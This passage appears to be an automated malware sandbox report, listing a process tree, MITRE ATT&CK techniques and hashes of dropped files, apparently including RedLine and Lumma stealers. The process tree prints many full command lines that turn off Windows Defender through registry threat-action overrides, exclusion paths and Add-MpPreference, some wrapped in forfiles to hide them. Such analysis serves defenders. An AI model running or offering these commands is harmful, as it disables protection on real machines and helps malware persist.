    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3796
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5016
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2036
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5620
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4864
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3088
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5236
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:2064

C:\Users\Admin\AppData\Local\Temp\7zSFAA7.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zSFAA7.tmp\Install.exe it /INxdidfVsD 385118 /S
1⤵
PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:400
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4656
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:1076
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5560
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:3060
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3436
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:3340
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:5176
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3676
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4408
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4644
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4044
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:5288
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4656
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1812
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3952

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:4024

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
PID:5140
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\GameStabilityService\GameService.exe

Filesize
288KB

MD5
d9ec6f3a3b2ac7cd5eef07bd86e3efbc

SHA1
e1908caab6f938404af85a7df0f80f877a4d9ee6

SHA256
472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

SHA512
1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

Download Submit
C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe

Filesize
6.2MB

MD5
c4f2b643c3ff9bb7ae4fd625c9d98154

SHA1
bd7c7190e45cbda09be256bee7622bb74f75f00c

SHA256
76b585b4eac7b0584f28d66d6bf37ad29b1ab73354cbd3c5bb1c819787208f0b

SHA512
2efeaf9473ac1a8f42fd5870154faa37b06e4f331768cd7934fd4aa685eb6da4e28eaa7357807c4bf37dd79fc4a5eaf70ab4324ed0100dcdb4abaf4d9b0a7dcb

Download Submit
C:\Program Files (x86)\GameStabilityService\installm.bat

Filesize
247B

MD5
192ae14b572f1bdd164ee67855d5a83a

SHA1
9cf0757c807a8b834470d216ccd85be9a6b60aa0

SHA256
2f6be6b40cf7c1802b6540dbf0b90eac67fd6a94067a06090e1f71bee164188d

SHA512
18fc80eb3d450359863d61cf9123a08cdfe8c52d5f59e97f5b42816584d474d8a080bb75e7fe92480d2961481d59584a3987b2e7a15e611b58885b4441085e3c

Download Submit
C:\ProgramData\mozglue.dll

Filesize
593KB

MD5
c8fd9be83bc728cc04beffafc2907fe9

SHA1
95ab9f701e0024cedfbd312bcfe4e726744c4f2e

SHA256
ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

SHA512
fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

Download Submit
C:\ProgramData\nss3.dll

Filesize
2.0MB

MD5
1cc453cdf74f31e4d913ff9c10acdde2

SHA1
6e85eae544d6e965f15fa5c39700fa7202f3aafe

SHA256
ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

SHA512
dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
13e5260e039b147eeccccd0e4e68df21

SHA1
882c8bfc8205ce8d216f82e3346bd4f494a87219

SHA256
053467d5fec0ae72ff57512e1ce5289843f999da4e6cc55fcf883637961688fd

SHA512
9f22f62a6c64c848c0ec588eb685b9bf26c9ca67c72870d56a7e38fa016b532ad3578347d2f5ba63addff547709db739fd2d1994b8c82e19575061d64d4c1c9a

Download Submit
C:\Users\Admin\AppData\Local\N38xawW7TleNo9ha2L3hItks.exe

Filesize
4.1MB

MD5
5b74ccd7f076e5f04da0fd9bb4117cb1

SHA1
bb7f82a5d612656e5368ad63ddc8d7964de0bb02

SHA256
3d0b4cd9f8c3c3c6d7fd3c55beb9785ed3d05c2e970af28422d26b2b74763106

SHA512
842cbcc4a668cd98388450f05122242cceda29e09cf3fbb0bb3c8deca7331ab3795ae5b619ed39b52ee180bf36c60cbbfa89d9f54be9f9a16bc8e2bcf5ddd125

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]

Filesize
656B

MD5
184a117024f3789681894c67b36ce990

SHA1
c5b687db3b27ef04ad2b2cbc9f4e523cb7f6ba7e

SHA256
b10d5fef165fc89e61cd16e02eac1b90b8f94ef95218bdd4b678cd0d5c8a925e

SHA512
354d3bbc1329cbbe30d22f0cf95564e44acc68d6fe91e2beb4584a473d320faf4c092de9db7f1f93cf0b235703fc8de913883985c7d5db6b596244771a1edaf7

Download Submit
C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

Filesize
830B

MD5
e6edb41c03bce3f822020878bde4e246

SHA1
03198ad7bbfbdd50dd66ab4bed13ad230b66e4d9

SHA256
9fa80f0889358d9db3d249a2e747e27b7c01c6123b784d94d169c0e54cacf454

SHA512
2d71b7d50212f980e82562af95598c430aa0875f7a9d9cc670ba2cb1f63057fb26fd747a99cb4ca08f2355d002daa79bda2236b3ad9e37a3cfef32ae5420e2a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe

Filesize
2.7MB

MD5
31841361be1f3dc6c2ce7756b490bf0f

SHA1
ff2506641a401ac999f5870769f50b7326f7e4eb

SHA256
222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee

SHA512
53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe

Filesize
474KB

MD5
e967f019b01357086d92181e6ee28e0b

SHA1
7f26480ea5ca0ee9481dfc0bea12194bd6f10283

SHA256
c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82

SHA512
dd2abe993397cf9f117753fd71ed9f98c4952616ee30f10479fbc3dad93a88dcfbfd6b80083541c7a796936dd37667a0f178156bdf5c35abf76dd8b23015d88a

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe

Filesize
304KB

MD5
9faf597de46ed64912a01491fe550d33

SHA1
49203277926355afd49393782ae4e01802ad48af

SHA256
0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715

SHA512
ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe

Filesize
2.0MB

MD5
1d814be25e80fa6739f6f1eec2018102

SHA1
44353b52a72e3f5c46b3d6078aab1211ce33b4fd

SHA256
01862602fb4853d90796a1a669b4ec4ab5e8cc6a774bf94e707171d5e16594fc

SHA512
15732577c4fd4a0d2303df2f2d623e165c94f5b8dcd92724681d41ac35ecefbe8c04052329ec6938a594086bf8a19a54253be9f33cc8b3a298261467cddf5578

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe

Filesize
778KB

MD5
05b11e7b711b4aaa512029ffcb529b5a

SHA1
a8074cf8a13f21617632951e008cdfdace73bb83

SHA256
2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa

SHA512
dde7b561ffb3b9fe71827be9313cd3b83900c3ce76b053d028e84223fba1b06035437b3860a74de7dc2f5d40f0b90bd7d60139701d752c803eb08f362a5d57ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe

Filesize
1.2MB

MD5
56e7d98642cfc9ec438b59022c2d58d7

SHA1
26526f702e584d8c8b629b2db5d282c2125665d7

SHA256
a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383

SHA512
0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe

Filesize
418KB

MD5
0099a99f5ffb3c3ae78af0084136fab3

SHA1
0205a065728a9ec1133e8a372b1e3864df776e8c

SHA256
919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226

SHA512
5ac4f3265c7dd7d172284fb28c94f8fc6428c27853e70989f4ec4208f9897be91720e8eee1906d8e843ab05798f3279a12492a32e8a118f5621ac5e1be2031b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe

Filesize
379KB

MD5
009669d63111ff8efad651efac7333af

SHA1
d0ebf3a228e2d44e094aa3b1b056176bc05c8f40

SHA256
4736228698b5bb9b7dc86f4dbfe539e54fe5f5153be6c4aec7b8269e34c7a84b

SHA512
dbf32ce7ba68fa88f508bced74b898baa73679216374d885e279eaf848c8f197294f66a0131491050f70f93413d973cc1fe7245e8128758a6103a453e7aed808

Download Submit
C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd

Filesize
208B

MD5
2dbc71afdfa819995cded3cc0b9e2e2e

SHA1
60e1703c3fd4fe0fba9f1e65e10a61e0e72d9faf

SHA256
5a0070457636d37c11deb3148f6914583148fe45a66f44d7852f007ed5aad0ac

SHA512
0c59fa999ed912e6e747017c4e4c73f37ed7a72654f95eaea3db899308468e8756621db6e4edfd79e456ec69ce2e3e880817410b6aab1d01414f6300240d8b52

Download Submit
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

Filesize
1.8MB

MD5
e4fb52b0b9b99bc98ac0a4ce0e6887de

SHA1
e1b4e109a62e511af3af10cba7171059e75d8162

SHA256
3e53004abe106c21bf7ddffe2b4ace0404c7d687d611d4b1eac5b00b182df90f

SHA512
f8227bc14733f7d8c9a82d57972f2a592a22c20269d63ce5a26aa6a022e9c8a9d33632658fec00d947bd5b9cbf2f59f2dacbd5672180b5616dbdc2b46d10540b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSD81B.tmp\Install.exe

Filesize
6.4MB

MD5
220a02a940078153b4063f42f206087b

SHA1
02fc647d857573a253a1ab796d162244eb179315

SHA256
7eb93d93b03447a6bafd7e084305d41bf9780bd415cb2e70020952d06f3d7b60

SHA512
42ac563a7c28cbf361bfb150d5469f0278ab87ce445b437eef8425fb779689d70230b550815f30f9db2909c1ba0dd015b172dfe3e718d26706856f4cb0eeeeaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tmp4EB8.tmp

Filesize
2KB

MD5
1420d30f964eac2c85b2ccfe968eebce

SHA1
bdf9a6876578a3e38079c4f8cf5d6c79687ad750

SHA256
f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

SHA512
6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgwmp5t2.pbd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8F9A.tmp

Filesize
56KB

MD5
d444c807029c83b8a892ac0c4971f955

SHA1
fa58ce7588513519dc8fed939b26b05dc25e53b5

SHA256
8297a7698f19bb81539a18363db100c55e357fa73f773c2b883d2c4161f6a259

SHA512
b7958b843639d4223bef65cdc6c664d7d15b76ac4e0a8b1575201dd47a32899feff32389dcc047314f47944ebe7b774cd59e51d49202f49541bbd70ecbb31a2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8FDA.tmp

Filesize
220KB

MD5
c6af9c47246bdb595a5f136e97106ba5

SHA1
54da023d802239a01bbcc0eea16d5106201d01bf

SHA256
780249f61eaef2e46d77d552367b27941e2cc23a7e9971717a2bb5c051fc956c

SHA512
6d6b0d8b12aebc7e51a18ac7b18a27c3e30105a635afb63a3eb5d455671bb07d2e3f251d581960cf39e1a13c971a6353d2c8451f90b5707aaf409eaea6dbbf6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\{F536AD2E-CFCE-44e8-BC19-25E6D23AACFC}.tmp\360P2SP.dll

Filesize
824KB

MD5
fc1796add9491ee757e74e65cedd6ae7

SHA1
603e87ab8cb45f62ecc7a9ef52d5dedd261ea812

SHA256
bf1b96f5b56be51e24d6314bc7ec25f1bdba2435f4dfc5be87de164fe5de9e60

SHA512
8fa2e4ff5cbc05034051261c778fec1f998ceb2d5e8dea16b26b91056a989fdc58f33767687b393f32a5aff7c2b8d6df300b386f608abd0ad193068aa9251e0d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3808065738-1666277613-1125846146-1000\76b53b3ec448f7ccdda2063b15d2bfc3_2397ee06-28fe-4eaa-8777-f7014368c353

Filesize
2KB

MD5
